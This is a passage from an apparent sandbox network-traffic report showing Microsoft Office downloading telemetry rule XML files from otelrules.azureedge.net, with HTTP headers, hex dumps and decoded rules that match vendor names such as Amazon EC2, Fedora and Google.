Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-16849878b787bfsh7zgp804my400000000s0000000008dru x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-16849878b78bjkl8dpep89pbgg00000000n000000000b56x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-16849878b78g2m84h2v9sta29000000000y00000000049z2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7d1d0a8a-d01e-0049-263b-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114506Z-17c5cb586f6gkqkwd0x1ge8t0400000002600000000085t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 95c67357-201e-0051-60f5-247340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-15b8d89586fwzdd8urmg0p1ebs0000000c70000000009fhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-16849878b786lft2mu9uftf3y4000000036000000000bhy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-16849878b786fl7gm2qg4r5y70000000027000000000acb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-16849878b78q9m8bqvwuva4svc00000000c0000000001xnd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-16849878b78z5q7jpbgf6e9mcw0000000apg00000000chau x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 06ffa35a-101e-0079-2528-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114507Z-16849878b78p8hrf1se7fucxk800000002vg0000000065t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-16849878b787wpl5wqkt5731b400000002u00000000026uq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:08 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 26e7cda7-e01e-001f-32f8-251633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114508Z-15b8d89586ffsjj9qb0gmb1stn00000006200000000076an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
